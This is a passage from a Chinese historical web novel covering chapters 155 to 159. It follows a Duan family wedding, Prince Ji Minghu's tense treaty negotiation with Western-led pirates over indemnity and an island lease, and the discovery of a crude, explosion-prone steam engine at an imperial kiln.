“荷蒙天恩浩荡,特降纶音,赐婚良缘,玉成秦晋,两府无上之荣光,亦段、邹二姓百世之祥!本王恭承圣意,忝为冰人,谨遵古礼,代行纳征。今良辰吉日,段府特备微仪,聊表诚敬,奉聘贵府千金,结两家之好!” 众人行大礼谢恩,聘礼被一项项抬进去,抬进去一个,纪明瑚就得唱一句吉祥话,最后将礼单递上,男方的人才总算能进邹家门。 邹文之妇仔细查看如意、首饰,确保一切妥当才接受聘礼,将喜饼、酒肉拿到祠堂中告祭祖先又设宴款待宾客。 前头待客之处熙熙攘攘,纪明瑚勉强喝了两三杯便作罢。 后室,胆子大的女孩们偷偷往外望,被嬷嬷们教训了也不怕,倒推着嬷嬷们赶快走,别耽误她们小姊妹们聚堆。 男子们的样貌,有一个算一个全被品评一番。小王爷最貌美,身份也最贵,只不过一看就不是什么好东西,怕是少不了要沾花惹草。 段訚其次,很是英俊,只是可惜这里的小女孩们都知他已经成亲了。 内务府官员之中也有不少的年轻宗室子弟,矫好少年饮 酒作乐,只不过没几个想要去他们家中。 在前边偷着闹完了,又跑到后边去看嫁妆,闹哄哄打开了箱子查看,一惊一乍又满怀憧憬,想着自己成亲时该有如何的盛状,直到被主母轰走,一个个跑回后院。 这些没定亲的人自然不知道邹云旗有多么的担惊受怕,尤其是在去岁给段之缙议罪的时候。 姨娘和母亲因着不能退亲怄气,自己却什么也不能做,后来只想着退不了也好,早些嫁出去,是福是祸自己一个人承受,也省得被来回念叨,姨娘整日哭泣。 不过现在看来,既然有绥王和内务府的人安排,那就是福非祸。 她按照礼数,将文房四宝和给亲手给段诠缝制的鞋帽作为回礼赠回去,只等着七月份自己的嫁妆送到段府。 一切尘埃落定。 被派来撑场面的纪明瑚完成差事后还要回到男方家中贺喜,只是段师傅无差也要当差,现在被叫去了养心殿谈倭寇一事,纪明瑚去段家说了几句话后也赶往养心殿。 他到的时候父皇愁眉苦脸,段之缙一言不发,见了他,皇帝才问一句:“事情怎么样?” “一切顺利得很,天作之合。”他犹豫着要不要开口问一声,只是段师傅没说话,他也不好意思开口,幸好父皇先问了他。 “我听段之缙说你学过外文?” “回父皇,一知半解罢了,学来玩玩。” “能听懂西洋人讲话吗?” “能和西洋人对话。” 皇帝讶然,转向看着段之缙:“那这可不算是一知半解。是你教他的?” 段之缙回道:“若是臣教的,臣自然不会推功,但这似乎是席翱安排的。” 皇帝终于有了点笑意:“说起来席翱还是你举荐的……河田府最新的消息,说是倭寇里边有西洋人,段之缙说你会洋文,这次会面叫你去,朕觉得也好,你有身份又有主意,年纪也大了,该出京去办差了。” 出京?! 倘若出京,那京里的盘子不就全给了纪明祚? 纪明瑚不情愿得很,但段之缙一口替他答应下来:“正巧臣也忙着给儿子嫁娶的事情,席师傅年纪大了自己一人顾不来绥王,叫他出京历练历练,也好叫陛下看看臣这几个月教得如何。” 皇帝看着纪明瑚问道:“你觉得呢?若是不想,朕也不会强求,毕竟你身子也不好。” 纪明瑚自然不想,他可不敢把事情拜托给太子哥哥!可是段之缙严肃地看着他,微微颔首,纪明瑚一咬牙决定信他一次,回道:“儿子虽体弱些,也不至于不能出京,只要能为父皇解忧,叫儿臣做什么儿臣都是愿意的。” “好!不过你头一次独立办差,朕也不会叫你揽大局,这次的总理大臣郑楒琅,副手为理藩院尚书邵俊铭,凡事要多看多问。” “是,儿臣知道了。” 皇帝从折子堆里翻出段之缙的题本递给纪明瑚:“大体就按这个章程做,应该如何你自己也有数用不着朕耳提面命。” 皇帝说完就叫他们出去准备,回去的路上纪明瑚却有些怏怏不乐,最终没忍住抱怨起来:“师傅真是给我找了个好差事,一下子把我支出京城了。” “这自然是好差事了,从此之后在夷情倭务上,只有你说的话最有份量。” 段之缙看他这么虚个人天天东奔西跑弄得一身汗,心中很不高兴,年纪也不小了,怎么就不知自己照顾自己?于是又给他擦了擦汗,教训道:“你自己把自己当成个大人,不要处处叫人照顾,也再不许耍你的矫情做作脾气,只有你自己不把自己当小孩儿,旁人才能不把你当小孩儿。” 纪明瑚尴尬地点点头,段之缙送他回内外宫分割的宫门口,分别时四处看看,贴耳又道:“总是心急,我看你为了什么太子哥哥是假,为了自己才是真。但这种事情,最是急不得,一急就要出差错,陛下身子很好,你就算是后年回来,他也还等着你呢。” 第156章 156纪明瑚还是年纪太小,…… 纪明瑚还是年纪太小,什么都没经过,虽跟着段之缙学知识很有悟性,但在立储一事上太急,仿佛他爹明天就要死了,他急着后日登基。 他太想做太子了,可纪禅的皇权集中程度可以称之为亘古未有,所有的大臣都是他的师爷,不过是个出主意的,真正操纵权柄的人是他。 京畿的军队,全都是他潜邸侍卫出身的将军统领,他们不知朝廷只知皇上。 朝堂的官员任他变更,也是只知办差不知提议。 甚至,这种极度膨胀的权力连纪禅本人都没有办法完全掌握,只能再找人分权。 十几年前,将西南的权力分给段之缙,而到现在,因为年老体衰,将一部分权力分给长乐王。 段之缙嘱咐道:“郑楒琅你自然是知道的,邵俊铭是与我同年的状元,他在西北多年,最擅长同外夷打交道,听他的一般不会有差错。再者,咱们是为了河田府通商一事不受影响才主动找倭寇谈判,并非战败和谈。这个名义你要时时刻刻把握住,因而他们若要登岸要租地,不可能。要其他的权利也是不可能。我们能给的就是钱,也只有钱,旁的一概没有。就算河田府不通商了,旁的也不许交换出去。” 战略性保护费,只要等到能打过这些蛮子,吃了我多少就吐出来多少。 段之缙最后跟纪明瑚说一句话:“回去之后好好看折子,出京后多给臣写信,所有的事情,所有的都要跟臣讲。没事儿就回去吧,今日还多谢王爷给臣撑场面。” 纪明瑚之前是很看不惯段之缙的,但他来了尚书房之后有席翱压着,段之缙又有真本事,叫皇帝按着他的意思来,因而现在很尊重,回一句:“段师傅,我回去了。”这才和侍卫们打招呼进去。 事情了了,段之缙也回家。 现在家中一片吵闹,全都围着段诠转要看他手里的鞋帽,吵着叫他换上试试。 段诠红着脸嘟囔一句:“真叫你们烦死了……”然后转身要跑,但被段訚找人堵着门偏不叫他走,嫂子、婶娘和祖母全都起哄,他阿娘拿过帽子就要往他头上戴戴看。 段诠百般推拒,见段之缙来了干脆躲他身后去,段之缙可不爱管他,催着一众人出去玩,只留下段訚问今日的事情。 大家哗啦啦走了,段之缙问侄子:“今日一切都还顺利吗?” 侄子脸上还带着饮酒后的酡红,粉扑扑两个腮,眼神都略有迷离。 “一切顺利,邹家人也是欢天喜地的样子,没见有什么不愿意。” 同他那个处处有人扶持着的堂弟不同,段訚是真正见过捧高踩低的人。所谓天下熙熙皆为利来,天 下攘攘皆为利往,他也有一二分的理解。 当众人知他父亲只是个工部小官、督瓷官的时候,往往不屑一顾,而知他姓段,父亲名为段之绪的时候,又会一下子想到叔父段之缙,之后何种谄媚嘴脸都能见到。 因而当时叔父被议罪,他就想过堂弟的亲事,果然今日下聘,叔父吩咐他察言观色一番。 段之缙放下心来,再者他们愿不愿意的无所谓,就怕闹得邹云旗不愿意,成了一对怨侣。 “今日麻烦你了,喝得脸通红,怎么不见你父亲?” “爹爹虽没醉,但有些晕,我阿娘叫他回去躺着了。” 段之缙颔首,又道:“咱们家家口少,迎亲那天还得你照料一番,我只怕耽误了你的学业。 段訚却说无妨:“若不是叔父为我求了在京考试,怕我现在就要回淮宁去了。再者功夫下在平时,一两日不耽误什么。” “那叔父先谢过你了,不过旁的也不要你管,绥王一出京我就没了别的事情,能够专心料理段诠了。” 六月底,纪明瑚出京,朝中少了一个王爷,所有人都行动起来,想要重新划分势力,皇帝不动如山,任他们来回参奏,只不过是小打小闹,谁的势力也没有扩张分毫。 而在马车上,纪明瑚拿着段之缙给他的编写的册子勤奋学习,什么是领事裁判权,什么是租借土地,什么是关税,其中的关键之处在哪,如何才能不被人蒙蔽,他要学得一清二楚,绝不能在谈判的时候做一个无用花瓶。 这些段之缙都不知道,除了皇帝传唤他的时候他入宫外,整日在家中安排着修整房间和一应物品,设置婚房,一直到迎亲前一天发妆。 发嫁妆当天,所有箱笼敞开,其珍贵之物用玻璃罩罩着,披红挂彩,招摇过市,供百姓们观看,彰显他邹家门第富贵。 足足一百二十抬,本来是段家想给他们出嫁妆,但皇帝为了表示对段、邹两家的恩宠,邹家的嫁妆是按照乡君的品级由内务府置办的。 金银首饰、器具应有尽有,各色的宫绸、宁绸、缎、纱、绫、锦、洋绉等共上百匹,貂皮、狐皮、猞猁孙皮、灰鼠皮、银鼠皮等制成的褂子、坎肩、围脖、手筒等又是不计其数。 此外黄花梨木的拔步床,樟木的炕桌、炕几、炕柜、衣箱、梳妆台、脸盆架、衣架也是成套送来,其余零零散散的如脸盆、灶台、香炉摆件等也是一应俱全。很符合他们天家嫁女的习惯——女孩儿这一辈子要用到什么,我娘家全给你陪送过去,这姑娘还是我家养的。 不过最显眼的还是官窑瓷器,本国造出来的珐琅彩、洋彩和上回段之绪说的玫红带闪的瓷器,规规整整弄了好几箱,尤其是那玫红带闪的瓷器,叫太阳光一闪散出金光,摆在段家院子里时引得无数人啧啧称奇,而其发明者,不正是段之绪吗? 除了皇帝出的之外,还有邹家人自己出的地契田产、古董、字画、西洋奇器和最重要的陪嫁奴才若干户。 一百二十抬的嫁妆不是小数目,清点完毕时已经深夜,大家没预备着睡觉,擎等着第二天迎亲。 段诠披红带花,段府张灯结彩,将将喜轿停放在院子中先到祠堂中祭祖,禀告列祖列宗即将娶妇的消息,这才在吉时出发迎亲。 上马时,他神情肃穆得很,不像是娶妻,像是考试,沈白蘋叫他脸上带点儿笑模样,别叫旁人以为你不愿意,段诠咧咧嘴,最后还是垮了下去,为难道:“阿娘,我有些紧张。” 段之缙嘲笑他:“你这没用的,不要你上刑场你紧张什么?” 沈白蘋回头呸他一句:“大喜的日子,你会不会说话!” 段之缙赶紧噤声,自打三下嘴巴。 叫爹娘一闹,段诠才摆脱了些紧张情绪,翻身上了马,出门迎亲。 两口子坐在大堂上,椅子上仿佛有针,老是想去门口张望,最后耐不住又跑到后边看喜宴准备的如何,不能叫儿子这一辈子的大事有差错。 等着远去的鼓乐声渐渐回来的时候,还差一个时辰就到晌午,沈白蘋在后厨打着转呢,小丫头过来禀报:“夫人,少爷回来了,奶奶在前头,少爷要射轿了!” 沈白蘋赶紧到前头去坐着,因为下轿、跨火盆、射箭之后就是拜堂了。 一等公府正门的石狮子前,红幔花轿稳稳当当的停着,段诠朝着轿门虚射三箭才叫全福太太掀开轿帘,娶亲太太和送亲太太左右搀扶着邹云旗跨马鞍和火盆,又段诠又朝着门上虚射了一箭驱邪除祟,这才叫新妇进门。 拜堂,喝喜酒,段之缙的魂也跟着飘起来,等到这一天结束只觉得骨头也散架,庆幸只这一个儿子。 他躺在床上想着昨日闪闪发光的瓷器,奇幻的色彩映在心头叫他难以忘怀,并不只是因为瓷器多么巧夺天工,而是瓷窑烧制的问题。 烧瓷,尤其是要烧新色,总少不得要做实验,一来二去有没有可能是在做化学实验呢? 瓷窑,既有充足的资金,又有充足的动力,毕竟造不出来皇帝想要的瓷器他可不算完。 段之缙想着总要去看看瓷窑到底是什么情况,于是第二天喝完新人的敬茶就递牌子进宫,请旨去京郊,皇帝虽奇怪也同意了下来。 当天段之缙就乘着车去了京郊,这才见识了什么叫官窑的气派。 窑场高墙环绕,戒备森严,唯有烟囱林立,段之缙拿出令牌进去,目光所及,是连绵起伏的窑房。它们并非独立小屋,而是结构复杂、规模宏大的联排建筑群。巨大的蛋形镇窑窑背高耸,窑门厚重,大型的龙窑则如长蛇般蜿蜒爬上山坡,利用地势提升火势。窑房之间,有宽阔的通道供车马、人力运输。 窑房之外,是巨大的原料堆场,高岭土、瓷石堆成小山,按等级严格区分。淘洗池星罗棋布,泥浆在其中沉淀、澄净。稠化池像巨大的浅塘,经过淘洗的细腻瓷泥在其中进一步沉淀脱水。 除此之外制坯工坊、画坯、施釉工坊也全是闹哄哄的人头攒动,只有管理衙署稍微清净些,威严地矗立在一角,监工、账房、官吏在此办公。 段之绪就从管理衙署中走出来,隔着老远就喊:“竟真是二哥,那守卫同我说的时候我还不敢信。二哥来此做甚?” 段之缙也两步上前,兄弟两个抱一下才答道:“无事,就是在家里闷得慌,又想起前天那稀罕瓷器,便想着干脆来这里看看。” 说起来那个瓷器,段之绪不免骄傲一番,自制瓷以来,哪一朝哪一代出过这样的颜色?和哥哥说了几句,他猛地抱住段之缙:“说起来这件事,二哥,我还要多谢你。” “这话怎么说?” “二哥同我说的水汽果然有用,我们用这个来拉风箱,节省不少人力,且控制温度也好……” 段之缙只听前半句,就觉得心脏都要跳停了,忙叫他带着去看。 第157章 157一路上段之缙都走得很急,…… 一路上段之缙都走得很急,还催着前头的段之绪赶紧走,段之绪一边加快步伐,一边说:“造出来的东西很不省钱,但是重在效率,一次性能拉好几个风箱,比人快得多,若不是陛下催得太急,谁能想到这东西呢。” 说着他们就进了烧制作坊,里边只有一二添煤添水的人,守着一个轰隆隆的巨大机器,机器末端连接着几个风箱,呼呼作响。 滚滚黑烟直冲上天。 机器在段之缙看来实在简陋无比,但是能在这样的地方制造出简陋的煤水动力装置,已经是得天之幸了,他甚至疑惑,是因为小说的缘故才叫一切都来得这么凑巧吗? 段之缙刚要上去查看却被段之绪拉了出去,“二哥,离着这个东西远一些,很容易就炸了。” “炸了?!” “没错。若不然,我们也不会单独再建立一个作坊,叫这么几个人来单独守着。” 段之缙心中一沉:“那屋子里的人……” “官窑嘛……每个月都会死人的,皇帝的私库很富裕,他们的妻儿老小能得一大笔银子,足够他们一家吃用。等着这一阵子过了,我们就把东西撤掉,换成人力。” 也就是说,现在的蒸汽机还极不稳定。但是蒸汽机的前途却极为远大,决不能到此为止! “我看得差不多了,这儿太热,就先回家去了。你晚上想吃什么?我吩咐厨房做。” 段之绪也已经热得满头大汗,若不是自家哥哥来,他应当在衙门里守着冰盆子才对,听段之缙这样说就赶紧领着他回去。 “我吃什么倒不要紧,侄媳妇才进门,不如问问她的口味。” “那些我们都清楚,你在这里当差太燥了,晚上给你弄些冰的用吗?” “家里还有荔枝蜜不是?弄个酥山吧。” 段之缙答应下来,出了窑场就叫人回去递话,自己又急匆匆往宫里跑,准备把这个事情告诉皇帝。 天热,不止是窑场里热,皇帝在养心殿里搂着冰盆子都觉得热得头疼,叫段之缙这样絮絮叨叨一大段话,脑袋更痛,他斩钉截铁地说道:“别跟朕说这些了,你只回答朕一句话,这东西造来有什么用?” “现在的船仍然是靠桨动起来,动起来太慢,若是能将这东西用在船上代替船桨,那么船跑起来更快,我们的水师也能够随机应变,怕是打败倭寇之日近在咫尺。” 皇帝揉揉脑袋:“可倭寇并不是因为船更快才打败我们的,而是因为他们的炮射程更远,威力更大。” “陛下,水师建设并非只有炮,船也很重要。有时候打不过,跑得快起码不至于全军覆没。” 皇帝现在已经养成了一种惯性,不管自己能不能接受,总之只要是段之缙提出来的,皇帝都叫人先去看看,能办则最好,如果不能办,那就搁置。 “好吧好吧,既然你都这么说了,那就那就叫工部的匠人过去看看吧。你想要哪些人跟着去?铁匠?” 他问这个段之缙如何能知道,只答道:“陛下,臣也不知,但臣想着工部那么多匠人,总会有能够看懂这东西的吧,就算不懂,大家一起去见见,见识之后,若能有所发明也大有裨益。” 皇帝允许了,想着既然这样,不如叫纪明祚也去长长见识,让他暂且一等,传纪明祚来。段之缙是有些不愿意的,毕竟他现在已经找好了队伍,站定了新主,显然不想给那三皇子脸上贴金。不过想一想,他老师都是王自平了,倒也不用太担心,估计对这些奇技淫巧也没什么兴趣。 工部尚书乐善是不起眼的小人物,平日里见皇上也就是为了祭祀、军用和黄河大堤的事情,现在前任的中堂冷不丁传来了皇帝的口谕,一下子带走了一半儿的工匠,他便有些不愿意。 但人家说什么皇帝听什么,只能和他们一块儿去了。 纪明祚的马车在最前头空放着,他本是不想和段之缙同乘的,但想想姐夫的话,还是噙着笑和段之缙坐到一处,说道:“段师傅,今日又要带我们去开什么眼界?” 段之缙平日里也会讲些“之乎者也”的大课给全尚书房的学生听,因而纪明祚叫一句段师傅也不错。 “不敢说开眼界,不过是些奇技淫巧,就等着,看能不能改进一番用到船上。” 说完这句,马车上陷入沉默,许久没再说一句话,直到纪明祚忽然感叹道:“我不如四弟,他比我年幼体虚,却已经能出京替父皇办差了,而我身体康健却缩在京城,实在是过意不去。” 段之缙听了只觉得他得了“便宜”还卖乖,这次和谈并非是战胜和谈,说白了就是在海上打不过人家去和人家交保护费的,包括纪明瑚在内去的人心里都很不得劲,而且谈判困难也很大,若是拿出去的太少恐怕倭寇还要作乱,若拿出去太多,那么皇帝那关过不去,即便是谈成回京也要议罪。 若不是纪明瑚不需要担责,段之缙哪里愿意叫他长见识? 真正可怜的是郑楒琅和邵俊铭。 段之缙笑道:“殿下在京内服侍皇上也实属不易,您和绥王一个在内,一个在外,共同为皇上效力,这天下才能太平。” “段师傅说的是,我只是担心四弟罢了,不知他去河田府会有个什么章程。” 原来是打听这个,可打听这个有什么意思?和纪明瑚关联也不大。 段之缙回道:“一应事宜都由郑中堂和邵部堂做主,绥王怕不能有什么章程。” 纪明祚一次试探不成便没了下文,两人终于安静下来,一直到马车驶向京郊窑场。 段之绪见二哥又来难免大吃一惊,给长官行礼之后蹭到段之缙身边问:“出什么事儿了吗?” “无事,就是来看看那个蒸汽机。” “蒸汽机?” “你们做的烧煤煮水的工具。” 段之绪为难:“我们烧瓷怎么办?” “先停一停吧。” 段之绪便吩咐工人们停下来,等着机器彻底冷却大家才靠近,他解释了机器运行的原理,工部的匠人一点就通,查看之后一眼看出了经常炸的问题所在。 “按照大人的说法,若要让水汽产生力拉动风箱,那就要把水汽挤压在蒸汽机的肚子里。可问题是蒸汽机的肚子太软了。” 铁匠上手摸摸,展示给在场的大人们看:“气一聚集就容易把肚子撑开,那么多气一股脑爆发出来自然是炸得四分五裂。” 段之绪也考虑过这个问题:“但这个铁已经做的最厚了,再厚却不如现在便利。” 几个铁匠商量一番:“白口铁脆些,但是耐磨,又硬,不太容易裂。或者换成掺锡多的铜怎么样?还跟现在这么厚应该能抗住。” 段之绪连忙记下来,他们又检查,活塞和阀门的密封不够紧,总是漏气也会更容易炸开,“浸油麻绳、软铅皮和铅粉混上你们这儿的瓷土,把连接的地方封住如何?咱们想着应该会更好。这些水……” 段之绪瞧他们念叨着排出去的废水,赶紧问:“怎么说?” “若是能在外边把水汽再凝成水,倒也不必来回开合着添水,可以这样……” 段家两兄弟全都凑上去看,工匠们说完,段之绪眉头一皱:“不用了,这样耗费太大,到还不如用人添水来得便宜。” “不不不!得做上!”段之缙工部的人记下来,“咱们来弄这个不是为制瓷。”是为了造船、造器械,难道要一边打仗一边取水吗? 工匠们便记下来,又开始用有限的经验提出改进的方法。 两个姓段的和那些工匠们倒是热火朝天地商议着,乐善和纪明祚却有些无聊,倒不是因为觉得奇技淫巧不堪大用,实际上若能用在船上,他们自然支持,只是对此无甚兴趣罢了。 纪明祚思绪难以避免地跑到河田府去,这个时候,纪明瑚应当已经到谈判之所了吧。 实则纪明瑚和一众官员刚刚到达谈判的河田府府衙,他们十几天赶了一个月的路程,难免腰酸腿疼浑身劳累,刚到的第一天什么也不干,就钻进后衙洗漱睡觉,至于谈判,先叫知府应付着倭人和洋人,明儿再说吧。 最难受的莫过于纪明瑚,大家急着往南走,哪个还能关心关心他的身子?他也是咬牙忍着,只全当自己是个健康的人,无需格外关注,骤然歇了,疲惫和病痛后知后觉地涌上来,当天发起了高热,把众人吓了个半死。 幸好病痛来得快去得也快,他们谈到第三天的时候,纪明瑚已经大好,准备第四天也去前衙看看。 郑楒琅、邵俊铭等人是不通倭语和英文的,但他们带了外文学堂的庶吉士们,孙长科等人充当英文翻译,至于倭文无人懂也没关系,因为两方心知肚明,这一次说是“倭寇”,不如说是“洋寇”。 纪明瑚中途从后门进来,叫粟禾子在角上放了一个板凳坐下,洋人说的话他基本能听懂,想要割地、赔款、驻内以及上京拜见皇帝。 拜见皇帝这个事情郑楒琅做不了主,只能快马加鞭地请示,割地、驻内一应拒绝,除了有恩旨的传教士外,其余人等一律不准在域内逗留。 赔款,这个在大家预料之内,但赔款的名字不好听,本来想着用岁币之名,结果在诸位大人看来,“岁币”比“赔款”更恶心人,还不如不用。 郑楒琅捏着鼻子想了一个“海舶资”的名字,双方就此确定下来。 但是在海舶资的具体数额上又起了争执,这些弹丸之地狮子大开口,一张嘴就是两千万两白银,郑楒琅冷笑道:“你们怕不是没弄清楚情况,我雍朝可不是战败赔款。” 第158章 158对方谈判的主力是西洋…… 对方谈判的主力是西洋人,卷毛碧眼,鹰钩鼻,也许看起来并没有那般刁钻古怪,但在这些雍朝人眼中,无疑刻薄到了极点。 为首者名为威廉,他十分无礼地将烟斗在桌上敲一敲,跟翻译叽里咕噜说了一大串话,纪明瑚听得心脏突突跳,气得头晕。 “你们虽没有在陆上战败,但在海上不是战败了吗?且我们割地、驻内和其他的一应要求你们全然拒绝,只能在海舶资上叫我们满意了。如若不然,恐怕……你知道的。” 两千万不是小数目,雍朝泱泱大国,摊丁入亩后一年的田赋都才一千余万,两千万能把整个国库赔个底儿掉,日子还过不过了? 郑楒琅回道:“两千万太多了,这是不可能的。河田府缴纳的商税才多少?要我们两千万?大白天做梦呢?” “但河田府通商并非只有一年,而是年年通商,两千万是个很划算的数目。” “即便是如此,那也好好几年才能捞回来,况且平日里码头维护、衙门运转……这些可全是国库掏的钱,做赔本的买卖?倒不如直接关了河田府。” 两方就此事扯皮,半天解决不了,最后陷入一片沉默,再没有了说话的人,同时也时近晌午,大家先收拾着去吃饭。 在纪明瑚的认知里,雍朝一向是战无不胜、攻无不克的大国,现在跟这些蛮人坐在同一个桌子上商讨“海舶资”,还是因为雍朝在海上战败,给他的冲击属实太大。 不可一世的军队上高地、走沙漠、过草原,打败了穹迦和赤砂,却折损在海面上,连着河田府通商都要先交钱。 他胃口很不好,用了一点白米饭就搁下筷子静 坐,周围的官员也都郁郁寡欢,食不下咽。 若说雍朝人是因为心情不好才吃得少,那么威廉等人则是因为饭菜不合胃口,毕竟这里也没人给他上刀叉。 用调羹吃了一些好入嘴的饭菜之后,威廉就带着人出去商议。 雍朝人在海舶资一事上太过坚决,恐要从其他的地方找补。 “海舶资两千万两的确是太多了。” “但是我们原本割地、驻内的条件他们全都拒绝了,如果连两千万两都得不到,那我们岂不是白辛苦一场?” 为了技术保密,火炮是从他们本国运到这里的,现在船只还使用传统动力,抵御海浪风险的能力较差,几乎有十分之一的船只都消失在滚滚波涛中,且海上过湿火炮储存不当,起码要损毁三分之一。 他们的目的并非是为了什么海舶资,只有在这里设立据点并且驻内打探消息才能对得起如此巨大的付出。 威廉再次点起了烟斗:“原本以为他们和那些不开化的野蛮人一样……” 雍朝之富庶,早就通过传教士的嘴传回岛屿,再加上探听到他们许久不曾与外敌开战了,威廉便以为雍朝的陆军和水师一般脆弱,将其当成一块儿人人垂涎的大肥肉,他们要咬下第一口。 “很显然这里的人和那些野蛮人不一样。” 虽然是旧式军队,但并不畏惧死亡,战斗力不可小觑。 在人群中一直都沉默着的詹姆斯突然说话:“说真的,我觉得他们对实质的内容不太在乎,而更关心这些东西的名头。” 威廉转头问道:“你是什么意思?” “海舶资本质上就是保护费,这我们都知道,用赔款的名义更为正式,但是他们能够接受交钱,却不接受赔款这两个字。甚至不接受岁币,似乎是因为他们之前的国家以岁币的名义给外国进贡过,最后亡国了。” “所以?” “所以,公爵大人,我在想能否跟他们租地,这样的话能叫他们心里好受些。” “租地?詹姆斯,你得明白租地是要还回……哦不,天呐!租地!”威廉猛抽了一口烟:“天才!下午我们试探一番,倘若他们可以接受,那么我想我就理解这些人的心理了。” 而且说是租地,到时候还不还就要看大家的本事了,鉴于这个国家的水军是废物,想必到时候他们也收不回去。 小小休息片刻,下午的谈判就开始了。威廉他们重新摆出了自己的条件:“我们可以将海舶资降到一千万两白银,但是我们想要租赁贵国的土地。” 郑楒琅本以为下午又是一场没边儿的谈判,听威廉一说瞬间愣住,和邵俊铭对视一眼,又看着威廉问道:“你们是什么意思?” “郑大人,上午我们讲得很清楚了,我们的条件就是割地、驻内和海舶资。你们不接受割地、驻内,所以我们退让,只要白银两千万两,可你们仍然不能接受。没关系,我们是友人不是吗?如果你们皇帝陛下愿意将土地租借给我们,我们也愿意将海舶资降低到一千万两,那一千万两就当作是租金。” 一千万两倒是勉强可以接受。租地则要看看是哪一块儿土地了。 “你们想要租什么地方?” 威廉展开海域图,在靠近河田府的海域之中划出了一小片群岛,夹在倭人和雍朝海岸线之间,若说是什么战略要地,郑楒琅他们还真看不出。 “你们要租多长时间?” “租一百年。” 郑楒琅和邵俊铭商量一番,似乎也不是不行。 但总要讨价还价,郑楒琅回道:“你划得可不少,租金一千万是不可能的。至少要一千五百万两。” “郑大人,你知道这是不可能的,一千万两不能再少了。” “一千万两,好几个岛屿一年才十万两,没有这样的道理。” 威廉已经准备好了说辞:“但是郑大人,据我所知这些岛屿上居住人口很少,土地税极少,商税更是没有,你们的税收根本拿不到一年十万两。” 这个地方他们早就打听清楚了,对于没有海军的国家不甚要紧,但对于帝国来说,却是一个极为重要的地方。 向东可以控制倭人,向西可以监视雍朝,风平浪静可以停靠船舶,人烟少则可以秘密行事。 “十五万两,一分不能少。” “十二万两,我们可以接受你们分四十年付清,或者用货物抵债。” “利息呢?你们不要利息吗?” “一年只要交付二十二万两,两万两算是利息。” 邵俊铭冷笑:“那未免太高了些。” “你们河田府一年的商税,恐怕不止这些吧?怎么算你们也没吃亏。而且不能只叫我们退让,双方和谈各退一步才是。” 雍朝这边商量一番,觉得倘若能够以无用之地换取海舶资降低的话,也未尝不可。 邵俊铭最后说道:“一年二十一万两,四十年交完,若这期间你们再于海上作乱,合约即告无效。” 威廉脸上展露笑意:“可以,我们何时签协议?” 纪明瑚沉默地在角落坐着,段之缙给他的小书上的内容在脑中来回环绕。 租地?租出去还能拿回来吗? 租出去了,可就归这些夷人管理了?岛上的民众岂不就成了朝廷的弃民? 抛弃他们,于朝廷几乎没有损失,可朝廷算什么,还凭什么治理天下。 他从角落处起身走到郑楒琅身边敲敲他的桌子,原本松了一口气的郑楒琅不知所以,还是跟在他身后去了后堂。 纪明瑚坐在堂正中,脸上不带一丝表情:“你们就这么把朝廷的岛礁勾兑出去了?岛上的民众怎么办?” “岛上并没有多少百姓。” “是没有,还是没有多少?而且你是当真不知还是觉得无所谓?租一百年……一百年后还能收回来吗?” 郑楒琅笑道:“殿下,即便是收不回来,我们也不吃亏,就当是施舍给他们的,左右那几个小岛也无甚用处。” “没有用处他们拿一千二百万两租借?” “自然是对他们有用,对我们无用。殿下河田府去岁的商税足有四百万两之巨,不仅能使黄河大堤在今年竣工,西南的百族也能靠着这笔钱稳定下来,抛出去几个小岛又何足挂齿呢?” “我朝是因为无水师而觉得此处不重要,还是因为此处真的无任何价值,到现在根本无法确定,且这几个岛在倭人、河田之间,难保会成为贼寇的踏板。” 郑楒琅也考虑过这个问题:“无妨,我步兵、骑兵天下无敌,就算他们打着这个主意也不足为虑。” 两个人便因此争执起来,但对于郑楒琅来说,现在的结果已经是最好的结果了,反而劝着纪明瑚不要太较真。 纪明瑚咬牙道:“立刻上报朝廷,绝不许你们私自签约。” 郑楒琅也烦了起来:“殿下,这次和谈的总理大臣是臣,陛下命臣便宜行事,如果条件合适就即可签约。” “你也知道你是臣?你在和谁说话!” “可臣有陛下的任命,是奉旨自决的!” 纪明瑚当即站起来,怒道:“在这里,我的官爵最大,一切过错都由我向皇帝解释,不用你担责!你还是回去读读四书五经,想想你为人臣的本分吧!” 郑楒琅差点被气得仰过去,一撩袍子跪下:“既然王爷这么说,臣也无可奈何。臣这几日累了,先回去歇了,臣告退。” 他说完不等纪明瑚反应就起身离开,回了房就叫人传话说自己病了,病得起不了身,一切都由绥王做主。 纪明瑚得知时正在给皇上写折子,闻言笔也不停一下,吩咐道:“既然他病了,就好好养着,和谈的事情请示过父皇再说。” 奏折从河田府一路回到京城,此时正是八月中旬,段之绪为了蒸汽机的事情差点想破脑袋,但因为这里的人全都缺乏有关基础知识,最终也只解决了爆炸的问题,想要代替人力或是为车、船提供动力 ,那是万万不可能的。 第159章 159皇帝先收到进京拜见的…… 皇帝先收到进京拜见的奏折,此事事关两国,他自己一时拿不准主意就叫段之缙过来商量,也没再叫其他人,因他知道,其他人一定是不建议的。 段之缙也在犹豫,这些人若是到京城来,又是一场礼仪之争,段之缙并不想叫他们打探京城官员和内外务的情况。 两个人叽里咕噜一番,最终决定别叫他们上京来了,大皇帝忙得很,没空召见外人。 商讨完此事,段之缙又开口说蒸汽机的事情:“臣见这么长时间,一点儿进程也没有,不知是不是本国工匠缺乏这方面经验的原因。正巧河田府、岭南正在通商,能否跟洋人买些东西。” 皇帝一个激灵:“买?买什么?” “买他们本国的教师、工匠,或者直接买火炮等的图纸,买他们水师的建制方式和训练方式。” 本朝明面上禁止买卖人口,但是屡禁不止,律法也就成了空头文书,但律法还是律法,总不能皇帝带头破坏,因而他断然拒绝:“这说出去像什么样子?” “可以用请的名义,他们请教师和工匠,我们付佣金。” “买卖本国百民到外国去,长良心的人是不会这般做的。且异邦之人多生异心,不可轻信。” 段之缙回道:“臣以为良心也算是个稀罕物了,咱们多付些钱,那些商人不见得有何种良心。且异邦之人来到他国,咱们可以以利诱之,只要能有所发明可以赐金,乃至赐爵也并无不可。” “陛下,水师一事如逆水行舟,不进则退。西洋人的商船都能够远渡重洋来到河田、岭南,而我们的水师别说是远渡重洋了,他们……他们在海上逃跑都费劲儿。现在是河田离着倭人更近,所以他们只到河田,如果他们往东南去呢?东南只有步军而无水师啊!” 